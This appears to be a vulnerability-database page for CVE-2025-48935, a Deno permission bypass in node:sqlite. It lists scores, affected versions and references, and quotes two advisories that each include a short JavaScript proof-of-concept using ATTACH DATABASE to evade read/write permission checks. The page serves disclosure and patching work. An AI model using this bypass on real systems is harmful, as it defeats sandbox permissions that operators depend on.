CVE-2025-48935
criticalpriority · track · 36OT risk · elevatedEPSS 0.005 · 40 %ileEUUSEPSS · scored 2026-10-27
Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission read/write db permission check by using `ATTACH DATABASE` statement. Version 2.2.5 contains a patch for the issue.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–critical · 2.7–9.1
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (4)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-8vxj-4cph-c596Deno has --allow-read / --allow-write permission bypass in `node:sqlite`2025-06-04ghsa · osvUS
## Summary It is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement. ## PoC ```js // poc.js import { DatabaseSync } from "node:sqlite" const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;"); db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ``` ``` $ deno poc.js ```
- RUSTSEC-2025-0138--allow-read / --allow-write permission bypass in `node:sqlite`2025-06-03vendor · osvUS
It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement. ## PoC ``` // poc.js import { DatabaseSync } from "node:sqlite" const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;"); db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ``` ``` $ deno poc.js ```
also known as (5)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (7)
External citations — patches, advisories, analysis.
- https://deno.com/Patchcnnvd
- https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860cnnvd
- https://github.com/denoland/deno/security/advisories/GHSA-8vxj-4cph-c596cnnvd
- https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860enisa_euvd
- https://github.com/denoland/deno/security/advisories/GHSA-8vxj-4cph-c596enisa_euvd
- https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860Patchnvd
- https://github.com/denoland/deno/security/advisories/GHSA-8vxj-4cph-c596ExploitVendor Advisorynvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan